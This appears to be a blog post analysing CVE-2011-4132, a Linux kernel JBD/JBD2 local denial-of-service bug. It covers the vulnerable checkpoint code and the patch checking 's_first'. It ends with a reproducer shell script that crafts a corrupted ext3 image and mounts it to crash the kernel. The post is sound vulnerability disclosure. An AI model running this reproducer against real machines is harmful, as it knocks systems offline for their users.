CVE-2011-4132: Linux kernel jbd/jbd2 Local DoS
This issue was originally reported by Eryu Guan and affects the Linux kernel’s Journaling Block Device (JBD). The buggy code resides fs/jbd/checkpoint.c. More specifically in the following routine.
/* * Check the list of checkpoint transactions for the journal to see if * we have already got rid of any since the last update of the log tail * in the journal superblock. If so, we can instantly roll the * superblock forward to remove those transactions from the log. * * Return <0 on error, 0 on success, 1 if there was nothing to clean up. * * Called with the journal lock held. * * This is the only part of the journaling code which really needs to be * aware of transaction aborts. Checkpointing involves writing to the * main filesystem area rather than to the journal, so it can proceed * even in abort state, but we must not update the super block if * checkpointing may have failed. Otherwise, we would lose some metadata * buffers which should be written-back to the filesystem. */ int cleanup_journal_tail(journal_t *journal) { transaction_t * transaction; tid_t first_tid; unsigned int blocknr, freed; ... if (transaction) { ... blocknr = transaction->t_log_start; ... } spin_unlock(&journal->j_list_lock); J_ASSERT(blocknr != 0); ... return 0; }
As Eryu Guan pointed out, using a corrupted EXT3 or EXT4 image with ‘s_first’ value equal to 0 you can reach the J_ASSERT() you see above through journal_reset(). So, the patch was to add some checks on fs/jbd/journal.c and fs/jbd2/journal.c for JBD and JBD2 respectively in order to check explicitly ‘s_first’ value in journal_get_superblock() routine.
} + if (be32_to_cpu(sb->s_first) == 0 || + be32_to_cpu(sb->s_first) >= journal->j_maxlen) { + printk(KERN_WARNING + "JBD: Invalid start block of journal: %u\n", + be32_to_cpu(sb->s_first)); + goto out; + } + return 0;
Finally, Eryu Guan also provided a shell script to reproduce the problem which is the following.
fstype=ext3 blocksize=1024 img=$fstype.img offset=0 found=0 magic="c0 3b 39 98" dd if=/dev/zero of=$img bs=1M count=8 mkfs -t $fstype -b $blocksize -F $img filesize=`stat -c %s $img` while [ $offset -lt $filesize ] do if od -j $offset -N 4 -t x1 $img | grep -i "$magic";then echo "Found journal: $offset" found=1 break fi offset=`echo "$offset+$blocksize" | bc` done if [ $found -ne 1 ];then echo "Magic \"$magic\" not found" exit 1 fi dd if=/dev/zero of=$img seek=$(($offset+23)) conv=notrunc bs=1 count=1 mkdir -p ./mnt mount -o loop $img ./mnt
As you can see, this script will generate a dummy EXT3 image file with ‘$offset+23’ (which is ‘s_first’ value) set to 0 and then mount it under ./mnt/ directory.
Leave a comment